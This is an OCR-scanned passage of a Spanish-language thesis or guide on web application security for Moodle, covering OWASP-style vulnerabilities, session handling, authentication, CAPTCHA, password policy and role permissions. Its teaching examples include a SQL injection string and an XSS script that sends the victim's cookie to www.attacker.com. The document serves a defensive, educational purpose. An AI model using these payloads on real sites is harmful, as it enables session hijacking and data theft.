Dentro de este tipo de ataques podemos clasificar a la interrupcion, la suplantacion y la

modificacion.

IV.4.4.2 Identificacion de ataques

IV.4.4.2.1 Inyeccion

¢Qué es?

Consiste en él envi6 de codigo malicioso al sistema por parte del usuario, o bien por parte de otro
sistema, muchas veces el codigo es enviado en texto plano.

EL cédigo puede intentarse enviar por cualquier entrada:

Consultas al directorio activo (LDAP).
Consultas a la base de datos (sentencias SQL).
Entradas en formas web.

Consultas Xpath

Comandos del sistema operativo.

V V V V V VY

Entradas en funciones.

Sucede cuando no se validan adecuadamente las entradas proporcionadas por el usuario,

confiando en lo que éste ingresa al sistema.



Consecuencias.

» Pérdida y/o corrupcion de datos.

» Negacion de acceso.
Acciones.
Implementar codigo seguro: validaciones de entradas, incluso las provenientes de otros sistemas.
Uso de herramientas para realizar la busqueda de vulnerabilidades a ataques de inyeccion.
Es altamente recomendable mantener datos no confiables separados de comandos y consultas.
Uso de API’s seguras (no intérpretes).
Ejemplo:
Ejecucién de codigo SQL sin validar.
Se cuenta con una aplicacién Web, la cual cuenta con la URL para la consulta de datos de usuario:

El atacante modifica el valor del “id”’en el navegador y envia un: ‘or ‘1’="1

Lo que cambia el sentido de la consulta para devolver todos los registros de una tabla, no solo

aquellos que busca el “id”.

String query = “SELECT * FROM accounts WHERE custID="" + request.getParameter(“id”)

En el peor de los casos, el atacante puede ejecutar alguna funcién en la base de datos y tomar

control total de ella.

IV.4.4.2.2 Cross-Site Scripting (XSS)

Qué es?



Es la insercion de cadenas de texto no validas en la propia aplicacion Web, por parte de un
usuario malicioso (puede estar dentro del sistema como usuario o administrador, o fuera de ¢él), el

cual espera que sea ejecutado para obtener informacién o algun beneficio.

Se encuentra clasificado en tres diferentes tipos:

Almacenado. Es aquel cédigo que se queda almacenado de forma permanente dentro del servidor
de aplicaciones Web. Por ejemplo, en la base de datos.

Reflejado. Es aquel codigo que se queda “reflejado” fuera del servidor de aplicacion Web, en otro
servidor pero que responde a una peticion realizada en el servidor original.

Basado en DOM: Es aquel c6digo que modifica el DOM de la aplicacién Web original.

Consecuencias

e Secuestro de sesiones de usuarios.
e Destruccion de sitios Web.
e Instalacién de coédigo malicioso en navegadores.

e Redireccionamiento a sitios maliciosos.

Acciones.

e Llevar acabo analisis de cédigo.
e Uso de herramientas de escaneo estaticas y dinamicas.
e Separar datos no confiables del contenido activo del navegador.

e Validacién de entradas de datos.

Ejemplo.

Construccion de etiquetas HTML.

La aplicacion emplea datos no validos en la construccion de HTML, por lo que se puede

modificar el parametro de entrada “CC” proporcionado por el usuario.



(String)page += “(input name="creditcard’ type="TEXT" values="" +

request.getParameter(“CC”) + )”;

En lugar de ingresar el valor esperado, se ingresa un script malicioso:

<sctipt>document.location = ‘http://www.attacker.com/ cgi-
bin/cookie.cgi?foo="+document.cookie</script>’

Esto provoca que el id de sesion del usuario sea enviado al sitio del atacante, permitiendo el

secuestro de sesion actual.

IV.4.4.2.3Pérdida de autenticacion y gestion de sesiones

¢Qué es?

Son las vulnerabilidades relacionadas con la perdida de autenticacién y gestion sesiones. Son
criticas en la seguridad de las aplicaciones y en especial de las aplicaciones Web, ya que permiten a
un atacante suplantar la informacién de un determinado usuario, pudiendo llegar a obtener una
cuenta de administracion que le permita sabotear os controles de autorizacion y registro de la

aplicacion.

Consecuencias

e Acceso no autorizado a cualquier tipo de informacién que se encuentre almacenada en el

servidor.

e Acceso a servicios que han sido comprometidos.

Acciones

e Considerar una buena autenticacion de los usuarios.

e Proteger los datos de sesion (id, contrasefia, token).



e Realizar seguimiento robusto de sesiones (se recomienda modificar el token de sesion

cada cierto tiempo).

e LBvitar vulnerabilidades del tipo XSS, ya que pueden provocar el secuestro de datos de

sesion.

Ejemplo
1. Secuestro de sesion (de la URL):
Se tienen una aplicaciéon Web que pasa, por la URL, el valor de la sesion con un hash sencillo
de adivinar:
http://example.com/sale/saleitems;jsessionid=2POOC2JDPXMOOQSNDLPSKHCJUN2JV?
dest=Hawnaii
Un usuario autenticado quiere dar a conocer a sus amigos la informacién de su viaje, entonces
envia por correo la URL sin saber que también les esa proporcionando su id de sesion.
Cuando sus amigos usan esa URL, también usaran su sesién y su tarjeta de crédito.

2. Cuando una aplicacién solicita que se cierre el navegador para cerrar la sesion.

Si no se cierra y otra persona usa después esa maquina, entonces puede acceder a la cuenta de

usuario.

3. Cuando un atacante tiene acceso a la base de datos y las contrasefias no se encuentran

cifradas, quedando expuestas.

IV.4.4.2.4 CSRF (Cross-Site Request Forgery)

¢Qué es?

Es un ataque que obliga al usuario a ejecuta acciones no deseadas en una aplicacion Web en la que

este actualmente autenticado.



Con un poco de ingenierfa social (como ¢l envié de un enlace por correo electrénico mediante el
chat), un atacante induce a los usuarios de una aplicacion Web ejecutar acciones a seleccion del
atacante. Si el usuario objetivo es la cuenta de administrador, esto puede poner en peligro toda la

aplicacion Web.

Consecuencias
e Se puede acceder, modificar y utilizar cualquier dato o funcién que se esté autorizado a
usar.
Acciones
e Revision de codigo fuente.
e Realizar pruebas de penetracion.
e Descartar como proteccion las cookies de sesion, las direcciones IP origen y otro tipo de
informacién.

e Analizar enlaces y formularios que invoquen funciones que permitan cambiar estados.

Ejemplo

Envié de datos en claro.

La aplicaciéon permite al usuario envia una peticion de cambio de estado que no incluye nada
secreto.

El atacante, construye una peticion que transferira dinero de la cuenta de la victima a su cuenta, e
inserta su ataque en una imagen o frame del tipo de “da click aquf”” almacenando varios sitios bajo

su control.

Si la victima visita algun sitio malicioso se encuentra autenticada en el sitio que envia su

informacién en claro, la peticion falsa incluira sus datos de sesion sin que se dé cuenta.

IV.4.4.2.5 Configuracién defectuosa de seguridad

¢Qué es?



Es un fallo o error en la configuracion de seguridad definida e implementada para la aplicacion,
marcos de trabajo, servidor de aplicacién, servidor Web, servidor de base de datos y la plataforma.
Todas estas configuraciones deben ser definidas, implementadas y mantenidas, ya que muchas no
se envian con seguridad por defecto. Esto incluye, mantener todo el software al dia, incluso las

librerfas de cédigo que utilizan la aplicacion.

Puede ocurrir en: plataforma, servidor Web, servidor de aplicaciones, ambientes de trabajo,
cédigo personalizado. Uso de: cuentas predeterminadas, paginas no usadas, software no

actualizado o no parchado, archivos o directorios no protegidos, etc.

Consecuencias

e Acceso no autorizado a datos o funciones del sistema.

Acciones

e Usar herramientas: actualizaciones pendientes, configuraciones defectuosas, cuentas

activas predeterminadas, servicios activos no necesarios.

e Asegurar todos los niveles de la pila de la aplicacion.

Ejemplo

1. Mala configuracién del servidor. El servidor de aplicaciones permite listar el contenido de
los directorios. El atacante puede encontrar el codigo fuente de la aplicacion.

2. La aplicacién emplea un framework como Struts o Spring. Se encuentra fallos en
componentes de ese framework, pero no es actualizado. Entonces, los atacantes pueden
actuar facilmente y explotar esos fallos.

3. La consola de administracioén se instalé automaticamente y no fue removida. Las cuentas
por defecto no han sido cambiadas. El atacante descubre las péaginas estandar de
administracion, ingresa con los usuarios y contrasefas por defecto y toma el control.

4. Listar los directorios no se encuentra deshabilitado en el servidor. El atacante descubre

que puede simplemente listarlos para encontrar cualquier archivo. Puede encontrar los



archivos .class de java y aplicarles ingenierfa inversa para obtener su cédigo fuente. Asi,
encuentra un acceso al control de la aplicacion.

5. La configuracién del servidor de aplicaciones permite que el seguimiento de la pila sea
regresado a los usuarios, exponiendo fallos potenciales. Los atacantes aman la informacion

extra que los mensajes de error pueden proveer.

IV.4.4.2.6 Almacenamiento criptografico inseguro

¢Qué es?

Consiste en la proteccion adecuada de los datos sensibles por parte de las aplicaciones Web. Los
datos pueden ser numeros de tarjetas de crédito, numeros de seguro social y credenciales de
autenticacion con la codificaciéon o hashing adecuada. Los atacantes pueden robar o modificar
dichos datos débilmente protegidos para llevar a cabo robo de identidad, fraudes de tarjetas de
crédito u otros delitos.

Consecuencias

e Acceso a informacion sensible: datos medidos, cuentas de usuario, datos de tarjetas de

crédito, informacion personal.

Acciones

e Cifrar archivos con informacion sensible.
e Control de acceso a datos cifrados y no cifrados
e Usar algoritmos criptograficos estandarizados y fuertes.

e FElaborar un plan de rotacién de claves.

Ejemplo



1. Se genera una copia de seguridad en cinta con registros médicos cifrados; sin embargo, la
llave para cifrar se encuentra en el mismo respaldo. Si la cinta se pierde, quien la obtenga
podra ver sin dificultades el contenido.

2. Una aplicacion cifra los nimeros de tarjetas de crédito en una base de datos para revenir la
exposicion a usuarios finales. La base de datos los descifra automaticamente cada que se
ejecuta una consulta. Esta situacion resulta riesgosa, ya que existe un fallo que permita la
inyeccion de SQL, entonces se obtendran los nimeros de las tarjetas de crédito en texto
claro. El sistema debera estar bien configurado para realizar esta operacion solo en las

aplicaciones de back-end, no en las aplicaciones de usuario final.

1V.4.4.2.7 Fallas de restriccion de acceso a URL

¢Qué es?

La mayorfa de las aplicaciones Web no comprueban derechos de acceso a la URL antes de emitir
enlaces y botones protegidos. Sin embargo, las aplicaciones necesitan llevar acabo
comprobaciones de control de acceso cada vez que estas paginas sean accedidas, o un atacante

intente forzar las URLs para acceder a estas paginas ocultas de todos modos.

Consecuencias

e Acceso autorizado a funciones del sistema. Objetivo: obtener funcionalidad administrativa.

Acciones

e Realizar pruebas de intrusién.
e Mecanismos de autenticacion para paginas privadas.
e Autenticacién basada en roles de usuario.

e Incluir el cédigo que verifique el acceso a URL en todas las paginas.



Ejemplo

Un atacante solicita acceso a 2 sitios, si el atacante no esta autenticado, y el acceso a ambas
paginas esta garantizado, entonces se permite un acceso no autorizado. Si un usuario no
autenticado y no administrativo tiene acceso a la segunda pagina, también esta ocurriendo un fallo.
Muchos fallos ocurren cuando se muestran accesos a usuarios no autorizado y la aplicacién falla al

proteger esos sitios.

IV.4.4.2.8Proteccion insuficiente en la capa de transporte

¢Qué es?

Las aplicaciones frecuentemente fallan en autenticar, cifrar y proteger la confidencialidad e
integridad del trafico de la red sensible. Cuando lo hacen, en ocasiones utilizan algoritmos débiles,

usan certificados expirados o invalidos, o no lo usan correctamente.

Consecuencias

e Robo de cuentas de usuatrio.

e Exposicion a Phishing y “Man in the Middle”.

Acciones

e FEscaneo de la red en busca de contenido no cifrado.

e Usar SSL para proteger el trafico relacionado con autenticacion, paginas y servicios

privados.
e Configurar SSL con algoritmos fuertes.
e Realizar transacciones cifradas.

e Verificar que el certificado sea valido: no expirado o revocado y que se ajuste a todos los

dominios utilizados por la aplicacion.



e Redirigir peticiones in SSL a sitios con SSL.

e Las conexiones a sistemas finales y a otros sistemas también deben usar SSL.

Ejemplo

Un sitio no usa SSL simplemente para cifrar la pagina de autenticacion de usuarios. El atacante
esa monitoreando el trafico de red y obtiene las cookies de sesion de los usuarios. Una vez que

obtiene los datos, puede ingresar con la sesiéon de ese usuario.

IV.4.4.2.9 Redirecciones y reenvios no validos

¢Qué es?

Es la accion que realizan las aplicaciones Web para redirigir y enviar a los usuarios otras paginas y
sitios Web, usando datos no confiables para determinar las paginas de destino.
Sin una validacién adecuada, los atacantes pueden redirigir a las victimas a sitios de phising o

malware, o usar reenvios para acceder paginas no autorizadas.

Consecuencias

e Instalaciéon de codigo malicioso.
e Robo de credenciales de autenticacion.

e FEvasién del control de acceso.

Acciones

e No usar redirecciones y reenvios. Si se usan, no involucrar parametros manipulables por el

usuario.
e Si hay parametros, su calor debe ser valido y autorizado.
e FElvalor del parimetro debe ser un valor de mapeo.

e Usar ESAPI para sobrescribir el método “sendRedirec ().



Usuatrios

Los usuarios también pueden estar implicados en las siguientes acciones:

e Pueden ser malintencionados buscando acceso a sitios privilegiados o a informacion.

e También pueden tener acceso accidental si la aplicacion posee algun fallo.

En conveniente contar con una politica de formacién ética en los usuarios y en el uso de las

aplicaciones, asi como tener un esquema para reportar fallos.

Capitulo VDesarrollo de la seguridad en aplicacionesWeb

enla educacion a distancia con Moodle

V.1 Introduccion

Conocer las buenas practicas para el desarrollo seguro de nuestras aplicaciones, no es una tarea
facil, para ello, existen herramientas que nos facilitan un poco el trabajo, proporcionandonos una

guifa de referencia a seguir para garantizar que nuestro trabajo este lo mejor posible.



Hay que tener en cuenta los riesgos que ponen en peligro la seguridad de la informacion

manejada:

Entender y evitar riesgos de seguridad.

Identificar fuentes de riesgo

e Minimizar riesgos de la entrada de usuarios

Proteger la informacién confidencial.

Es recomendable que un sistema posea las siguientes caracteristicas:

e Modularidad:
o Partes independientes del resto.

o Debe existit comunicacion entre ellas definidas.

o Granularidad:

o Nivel de detalle del sistema.

e Principios de privilegio menor:

o A cada parte del sistema (un programa o usuario) le deben ser asignados los
privilegios que necesite para realizar sus tareas habituales y ninguno mas, al
hacerlo de este modo, si una parte del sistema es comprometido, el dafio serd
limitado.

o Proporcionar solo los privilegios que necesite para realizar sus tareas habituales.

e Defensa en profundidad:
o Consiste en varias capas de seguridad.
o Si solo existiera una capa de seguridad, un fallo o vulnerabilidad de esta capa
comprometetia todo el sistema.
o No proporcionar informaciéon de manera voluntaria. Los intrusos

comunmente, antes de atacar un equipo, obtienen informacién para identificar



la informacion que el sistema proporcione. Evitar dar informacion no significa

que el sistema este seguro.

e Simplicidad:

o Un sistema simple es facil de configurar, verificar y usar.

e Tallo seguro:
o Evitar proporcionar los errores en pantalla en caso de presentarse un fallo en
el sistema.
o Prevenir posibles fallos y cémo responder ante ellos.
o Asegurarse de que si los componentes del sistema llegan a fallar, lo haran en
un modo seguro.
o Por ejemplo: si algin procedimiento de acceso a un sistema de informacion a

través de llegar a fallar, no se debe proporcionar los errores en pantalla.

o El eslabon mas débil.
o Se debe asegurar las partes mas débiles del sistema.
o Elsistema en su conjunto es tan seguro como su eslabén mas débil.
o Para asegurar el sistema, se deben tomar en cuenta sus partes y enfocarse en

asegurar las partes mas débiles.

V.2 Manejo de sesiones

El manejo de sesiones consiste en una forma de preservar cierta informacion a través de accesos
subsiguientes. Esto habilita la construccion de aplicaciones mas personalizadas e incrementa el

atractivo de su sitio Web.

V.2.1 Sesiones



El uso de sesiones es un método ampliamente extendido en cualquier aplicacion de cierta entidad.
Basicamente, una sesién es la secuencia de paginas queun usuario visita en sitio web.Desde que
entra en nuestro sitio, hasta que lo abandona.

Como caracteristicas de las sesiones se tienen:

e Esuna instancia unica de un usuario especifico interactuando con una aplicacién web.

e Proporcionada al cliente antes, durante, o inmediatamente después de autenticarse.

e Emplea un ID que se asigna a cada una de las secuencias de navegacién y se verifica en
cada pagina visitada.

e Se usa mientras se navega por la aplicacién, al terminar, la sesién se destruye.

e En algunos casos la autenticacion no es requeridapara obtener un ID de sesiéon. Ejemplo:
Motores de busqueda.

e EIID de sesion se incrusta en el trafico cliente/servidor. Ejemplo: uso de una cookie o en
las URL.

e Los datos de una sesion se pueden guardar en una base de datos para tener un registro y

control de usuatios.

Al llevar a cabo el uso de sesiones, se deben generar identificadores de sesion fuertes, mediante el

uso de:

e Aleatoriedad.
e Asociacion con el cliente.

e A prueba de interferencias.

En el seguimiento de la sesién sobre la URL, el servidor coloca el ID de sesion dentro de la URL
del codigo HTML de todas las paginas.

Dentro de sus fortalezas:

e Compatible con todos los navegadores web.

e No se percibe como un riesgo para la privacidad de los usuarios.
e Por otra parte sus debilidades:

e [ manipulacién del usuario es trivial.

e Puntos expuestos: historial de navegacion, registros del servidor web, registros del proxy.

El servidor web usa las cookies para almacenar y recuperar informacién del cliente.

Ejemplo: el navegador web.

Dentro de sus fortalezas:

e Secguimiento de la informacién del cliente.



Debilidades:

e Preocupaciones acerca de la privacidad de los usuarios.

e Malas configuraciones pueden exponer la cookie.

Para un sistema web, se debe entender que toda interaccion con la aplicacion es a través de un
solo punto de entrada, en lugar de que el usuario sea capaz de enviar peticiones a varios archivos y
directorios del servidor.

Si este punto de seguimiento fuera la pagina "index", significarfa que virtualmente
ningun contenido en la aplicaciéon es accesible sin hacer una peticion a través de la pagina
index. Requerir que sélo un punto de acceso maneje todas las peticiones, nos pone en la posicion
de crear un conjunto de funciones robustas para manejar todas las interacciones del cliente y
reutilizarlas para todas las peticiones. Esto permite depurar y posteriormente realizar reparaciones
de seguridad es mucho mas facil, sin embargo esto también requiere de mas de planeacion para
que resulte de manera correcta.

V.2.1.1 Robo de sesion

El robo de sesiéon se da cuando un atacante logra colocarse entre dos maquinas, y
apoderarse de la sesion establecida entre ambas. Para poder llevar a cabo lo anterior el
atacante captura los paquetes que van dirigidos de una maquina a la otra, con el objetivo
de conocer el ID de sesion que vienen dentro de esto.

Estos datos son necesarios para que el atacante pueda modificar los paquetes sin
despertar sospechas en la victima. Una vez conocidos estos valores, el atacante envia un
paquete de término de sesion a una de las maquinas y continta la sesién capturada con la

otra.

Para disminuir estos robos de sesion se sugiere:

e Secleccionar mecanismos de seguimiento de sesion.

e Considerar la longitud del token de sesién para la aplicacion.
e Tener en cuenta la seguridad de los datos de sesion.

e Establecer acciones en caso de violacion de una sesion.

e EHstablecer ID de sesién aleatorios.

e Establecer un tiempo de sesion.

e Hstablecer en que momentos se usan sesiones.



V.3 Autenticacion

La autenticacion es el proceso de detectar y comprobar la identidad para verificar que esta es
quien dice ser, mediante el examen de credenciales de usuario comunmente nombre de usuario
contrasefia y validaciones de las mismas, consultando a una autoridad determinada. La
informacion obtenida durante la autenticacion es utilizada para determinar el grado de privilegios

o grado de acceso que tiene un usuario a un determinado servicio o sistema.

Generalmente, la autenticaciéon se ve aplicada a usuarios de algin sistema y en ocasiones un
usuario puede ser otro sistema, es decir, un sistema que intenta acceder a otro. En este caso, la
autenticaciéon se define como la verificacion veridica de la procedencia de este sistema. Un
ejemplo claro puede ser un servidor web que pretende acceder al servidor de base de datos para

realizar determinada consultas.

V.3.1 Métodos de autenticacion

Cada regla define una lista de métodos de autenticaciéon. Cada método de autenticacién define los
requisitos de comprobacién de las identidades en las comunicaciones a las que se aplica la regla
asociada. Los dos interlocutores deben tener, como minimo, un método de autenticacién comun;
de lo contrario, la comunicacién no sera posible. Si se crean varios métodos de autenticacion,
existiran mas posibilidades de encontrar un método comun para las dos entidades.

Los métodos de autenticacion mas comunes son:

Autenticacion basica HT'TP: Solicitud de autenticacién para mostrar la aplicacion Web solicitada.
Autenticaciéon mediante una forma HTML: Formulario HTML que solicita, generalmente usuario

y contrasefia.

Certificados del cliente: Generacion de certificados con SSL para autenticacion del usuario.



V.3.1.1 Manejo de Captcha

CAPTCHA es el acrénimo de Completely Automated Public Turing test to tell Computers and
Human Apart (Prueba de Tuning publica y automatica para diferenciar a maquinas y humanos).
Esta prueba permite determinar si el usuario es humano o no, lo que puede ayudar a prevenir que
se ejecuten sistemas automaticos para diversos fines por usuarios maliciosos.

El uso mas comun de CAPTCHA es para prevenir spam en los blogs de comentarios de esta
forma sélo un ser humano puede introducir comentarios en un blog.

Una situaciéon similar pasa para los formularios de registro a paginas Web siendo éstas para
obtener una cuenta de correo creacion de blogs acceso a foros etcétera.

De esta manera se neutraliza el ataque de “bots”, del mismo modo son utiles para evitar ataques
de diccionario en sistemas que soliciten un usuario o contrasefa, el sistema a detectar varios
intentos fallidos en la insercion del usuario y contrasena puede lanzar CAPTCHA y probar si se

trata de un ser humano o un “bot”. La figura 12 muestra un ejemplo de un CAPTCHA.

e [ =eCAPICHA

Figura 12. Ejemplo de un CAPTCHA

CAPTCHA:

Ventajas

e Tacil de implementar
e Prueba si el usuario es un humano

e Moodle contiene desde la instalacién mecanismos para implementarlo de manera sencilla.



Desventaja

e s posible evitar la prueba.
e Un intruso puede contratar personas para resolver los CAPTCHA.

e Instalacién y configuraciéon de CAPTCHA en Moodle

V.3.1.1.1 Insertar CAPTCHA en Moodle

Para insertar CAPTCHA en la plataforma es necesario registrarse en la pagina oficial, una vez
registrados nos daran dos claves: una publica para generar el plugin en el formulario de acceso y

otra privada para la comunicacion entre Moodle y el servidor CAPTCHA.

No hay que olvidar activarlo en las opciones de autenticaciéon basada en email. Esto obliga a que
s6lo los usuarios autenticados puedan ver los perfiles del resto de usuarios para mantener a los

visitantes an6nimos y motores de busqueda lejos de los perfiles de usuario.

V.3.1.2 Sistema de autenticacion

Un sistema de autenticaciéon es un moédulo de seguridad para asegurarnos de que el usuario que
visita las paginas es quien dice ser. Sabiendo que este usuario es conocido, podremos concederle
acceso a mas aspectos de la pagina que si fuese un usuario desconocido.

Comunmente un sistema de autenticacion esta creado para restringir el acceso a la aplicaciéon web
mediante un nombre de usuario y contrasefia. Por lo cual surge la pregunta, ;Qué pasatia si un
usuario conoce la URL del servicio o aplicacion Web que queremos proteger?, de esta forma un
usuario podria acceder a la aplicacion restringida introduciendo en la barra de direcciones del

navegador la direccion URL saltandose el proceso de autenticacion.

¢Coémo darse cuenta si se ha pasado por la parte del sistema que comprueba los datos de

autenticacion? Esto va depender del nivel de seguridad que se vaya a implementar una forma



puede ser mediante variables de sesion en la cual si el usuario ha pasado satisfactoriamente por la
parte de autenticaciéon del sistema esta variable se crea y se valida en todas y cada una de las
paginas que tienen acceso restringido, en cualquier otro caso si la variable de sesién no esta

definida se niega el acceso.

Un sistema central de autenticaciéon consiste en dos funcionalidades: login o logout (inicio y
termino de sesiéon en inglés). La funcionalidad Login permite a los usuarios iniciar sesiéon y la

funcionalidad Logout se usa para terminar la sesién del usuario.

Por ejemplo la figura 13 muestra un formulario de autenticacion en el cual solicita al usuario un

usuario y contrasefia.

Usuanios registrados

Entre aqui usando su nombre de usuario y contrasefa
(Las 'Cookies' deben estar habilitadas en su navegador)@

Nombre de usuario |

Contrasefia

Figura 13. Formulario de autenticacién

Una vez que el usuario ha introducido sus credenciales de acceso y sean validadas, se creara un
valor para la variable se sesiéon y sera enviado a las paginas de acceso restringido para permitir la

visualizacion del contenido, ver la figura 14.

Usted se ha autentificado como Admin User {Salir)

Espafiol - Internacional {es) |E|

Figura 14. Usuario autenticado

Y en caso de que el usuario conozca la URL del contenido protegido, y lo introduzca
directamente en la barra de direcciones del navegador, lo mas recomendable es direccionar al
navegador a la pagina de autenticacion. Mientras menos informacioén de errores mostremos es

mejor.



V.3.1.3 Aplicacién Web con autenticacion

Las aplicaciones Web en las que se requiere autenticacion por parte de los usuarios que acceden a
ellas, es necesatrio también conceder autorizacion a ellas.
La figura 15, se muestra un diagrama de flujo de un sistema de autenticacién, sobre una aplicacion

Web donde se requiere autenticacién y autorizacion.

Figura 15. Diagrama de flujo de autenticacion

Cuando este tipo de aplicacion inicia, verifica si el usuario ya esta autenticado. Esto se hace
revisando la existencia de la sesién de usuario. Si la sesién de usuario se encuentra, este se
autentica y la aplicacion realiza la autorizacién para verificarla. Si el usuario no estd autenticado,
automaticamente e redirigido al sistema de autenticaciéon. De forma similar, en la fase de
autenticacion, si el usuario no es capaz de ejecutar la aplicacién debido a una falta de privilegios,

es redirigido al sistema de autenticacion.



V.3.1.4Login

La funcién de inicio de sesion recoge las credenciales del usuario (nombre de usuario y
contrasefia) de la interfaz grafica y verifica la validez de las credenciales con la tabla de usuarios en
la base de datos de autenticacién. Si el usuario proporciona credenciales validas, una sesién de
usuario se crea y el usuario debe ser dirigido a la aplicaciéon que realizo la peticion de inicio de

sesion.

Un usuario debe tener un cierto nimero de oportunidades para iniciar sesién y si no tiene éxito al
proporcionar credenciales validas, la aplicacion de inicio de sesion debe dirigir al usuario a una
pagina HTML en la que se advierta acerca del abuso de la cuenta. El diagrama de flujo de la figura

16 muestra este proceso.

Crear la sesion de

éUsuario autenticado? Conteo de intentos

Advertenda al usuario

usuario

Redirigir al
usuario
autenticado

éfutenticaci in
on exitosa? intentos?

Figura 16. Login

V.3.1.5Logout (cierre de sesion)

La funcién logout verifica si el usuario esta realmente autenticado, si esto se cumple, la sesién es
borrada, y si no el usuario debera ser redirigido a la pagina de autenticacion. La figura 17 muestra

este proceso.



Ellsuario
autenticado
¥

Finaliza sesion del
usuario

Redirigir a la
pagina de
Autenticacion

Figura 17. Logout

V.3.2 Autenticacion en Moodle

La creacién de cuentas de forma manual es el método de autenticacion en Moodle mas segura, el
administrador sera el encargado de darlas de alta. Con esto se evita el acceso de bots (programa
informatico que realiza distintos cometidos y que trata de simular a un humano) y spam porque
tenemos control absoluto de quienes son los admitidos a la plataforma. Es la opcién mas
recomendada para grupos pequefos de uso pero puede ser un trabajo tedioso para plataformas
masivas, asf que la opcion recomendada para casos realmente grandes sera la autenticacion basada

en email bien configurado.

Para una buena gestion de autenticaciéon basada en email es recomendable seguir estos pasos:

e Dejar bien claro en el campo instrucciones, los pasos necesarios para una buena

autenticacién del usuario, asi como la construccion de una buena contrasefia de usuatio.

e Bloquear dominios de correo de tipo sospechoso. Esto hara que los que quieran

autenticarse usando determinado tipo de dominio de correo (ejemplo: @yahoo.com,



@hotmail.com) sean automaticamente rechazados. Es bastante atil para evitar cuentas

fraudulentas o gobernadas por bots. Al igual que se puede bloquear dominios de email.

e Bloquear campos de usuario que considere importantes, como por ejemplo la direccién de
correo y el nombre. Asf se evita la suplantacién de identidad del usuario. Si se bloquean
campos requeridos por Moodle, se debe asegurar que se proporcionan esos datos de
forma manual al crear las cuentas de usuario, si no estas cuentas no podran ser usadas.

Para ello existe la opcion de ‘Desbloquear si esta vacio’ que evita ese problema.
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Gestionar autenticacion
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Pagina Principal (home) . . . . .
i Ni Tk rcaporastal Plugins de autenticacion disponibles
» Pdginas del sitio
¥ Mi periil Nombre il Arril jo Configuracién
» Cursos
Cuentas manuales Configuracion
= Sin ingreso al sistema Configuracién
ADMINISTRAR =
Auto-registro basado en Email @ Configuracién
XL
[ Configuracion
marcar esta pagina
Configuracién
— U e F a '3 Configuracion
ADMINISTRACION
&N Usa ervidor | & Configuracién
¥ Ajustes de mi perfil & Configuracion
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Figura 18 Pantalla de Gestion de autenticacion

Uno de los cometidos del administrador podria ser forzar a los usuarios autenticados de la

plataforma a que usen una contrasefia segura para su inicio de sesion, para evitar el robo de

contrasefias.

No hay un estandar para la configuracion de las contrasefias aunque se recomiendan las normas:

e Una longitud minima de 8 caracteres



e Incluir letras, nimeros y caracteres especiales (ejemplo: %0,&,9,#)

e Debe incluir mayuisculas y mintsculas.

V.3.3 Roles

Los roles, bien definidos, pueden ser una herramienta magnifica para la gestion de los permisos de
los usuarios autenticados y de la seguridad general de la plataforma a la hora de definir

perfectamente qué es lo que puede hacer un usuario o qué es lo que no puede hacer.

Mal gestionado puede provocar ataques internos, pudiendo incluso provocar que usuarios no

autorizados tengan permisos administrativos poniendo en peligro toda la gestion del sistema.

APLICACION Aplicacién Moodle B =
= g
Atdjue EZ | »
2|ty |&

Servidor de Aplicacién A

o

RED = Servidor Web = ¥ |

i i

Sistema Operativo H '

Figura 19. ;Cémo funciona un ataque?

J

Moodle tiene configurado por defecto siete roles basicos que son de mayor nivel de permiso a
menor: Administrador, Creador de cursos, Profesor, Profesor no editor, Estudiante, Invitado y
Usuario autenticado. Cada grupo es englobado en un tipo de rol y estos a su vez tienen una serie

de permisos definidos. Cada rol se puede asignar de forma global y también de forma especifica

para cada curso, los permisos de los roles son heredados.



-~ . o=
Resultados de la busqueda - Politicas del sitio
Politica de contrasefias | Valor por defecto: Si
passwordpolicy S se activa esta opcidn, Moodle contrastard las contrasefias del usuario con
especificaciones de validez de contrasefias. Use los ajustes de més abajo para fijar tales

especificaciones (seran pasadas por alto si selecciona Mo,

Longitud de la contrasefia | 8 Jalor por defecta: 8
minpasswordizngth

Las contrasenias deben tener al menos este numero de caracteres.

Digitos 1 Jalor por defecto: 1
minpassworddigit

Las contrasefias deben tener al menos tantos digitos.

Mindsculas 1 Jalor por defecto: 1
minpasswardiower

Las contrasefias deben tener al menos este ndmero de mindsculas.

MAYUSCULAS 1 falor por defecto: 1
minpasswardupper

Las contrasefias deben tener al menos este nimero de MAYUSCULAS.

Caracteres no alfanuméricos 1 Jalor por defecto: 1
(como . §?2/*-+&@)

Las contrasefias deben tener al menos este nimero de caracteres no affanuméricos
(%,$,%,.,/,=...). Tenga en cuenta que en México es frecuente que al configurar las
computadoras se confunda la disposicidn del teclado LatinoAmericano de México con el
teclado Esparfiol de Espafia, lo que dificulta muchisimo localizar los caracteres de
2@,%,&,4,(),=,7,6,0L"+,5,7 v 1as lefras acentuadas (2/4). El caracter especial mas
accesibles en ambos teclados pareceria ser § por lo que se sugiere encarecidamente
recomendar el empleo del signo § para evitar quejas

Figura 20. Pantalla para politicas de contrasefia

En cuestiéon de permisos dentro de los roles hay cuatro, del mas bajo al mas alto nivel: No
ajustado, Permitir, Prevenir y Prohibir. En cuanto a heredar, si no se define un permiso, entonces
el permiso de la habilidad recoge el de un rol general que tenga. Permitir y Prevenir se cancelaran
uno con el otro si se fija la misma habilidad en el mismo nivel de contexto. Si esto ocurre, nos
referimos al nivel de contexto previo para determinar el permiso de la habilidad. Prohibir: Si
fijamos prohibir en una habilidad, significa que la habilidad no podra ser anulada. Prohibir
siempre tiene prioridad y crea un alto permanente. Establezcamos un par de ejemplos de usos de

rol.

Ejemplo 1. Un usuario tiene rol de Estudiante en un curso que permite a todos los estudiantes
escribir en los wikis de “Todos” y “Tareas”. Pero este usuario también se le asign6é un rol de
Invitado en el nivel contexto de médulo (para el wiki “Bucles”) y a los invitados se les prohibe
escribir en el wiki de “Bucles”. Por lo que este estudiante puede escribir en los wikis de “Todos” y

“Tarea” pero no en el de “Bucles”.



Ejemplo 2. Otro usuario se le ha asignado un rol ficticio de Estudiante Travieso que prohibe
colocar mensajes en cualquier foro para todo el sitio. Sin embargo su profesor le asigno un rol de
Estudiante en el “Foro de la Ciencia” en un curso determinado. Debido a que un permiso de
prohibir en un contexto mas alto siempre gana, este usuario es incapaz de colocar mensajes en el

“Foro de Ciencia”.

Con cada permiso que queramos modificar nos aparecera una serie de indicaciones que indican
los riesgos que asumimos al permitir dicho permiso. Estos peligros son: inyeccién de codigo XSS
(crear vulnerabilidades de distintos origenes), puede ver informacién confidencial, puede tener

permisos administrativos y puede hacer spam.

La definiciéon de los roles, permisos y peligros estan definidos en el directorio Permisode la

plataforma.

Permisos para Monica Flores
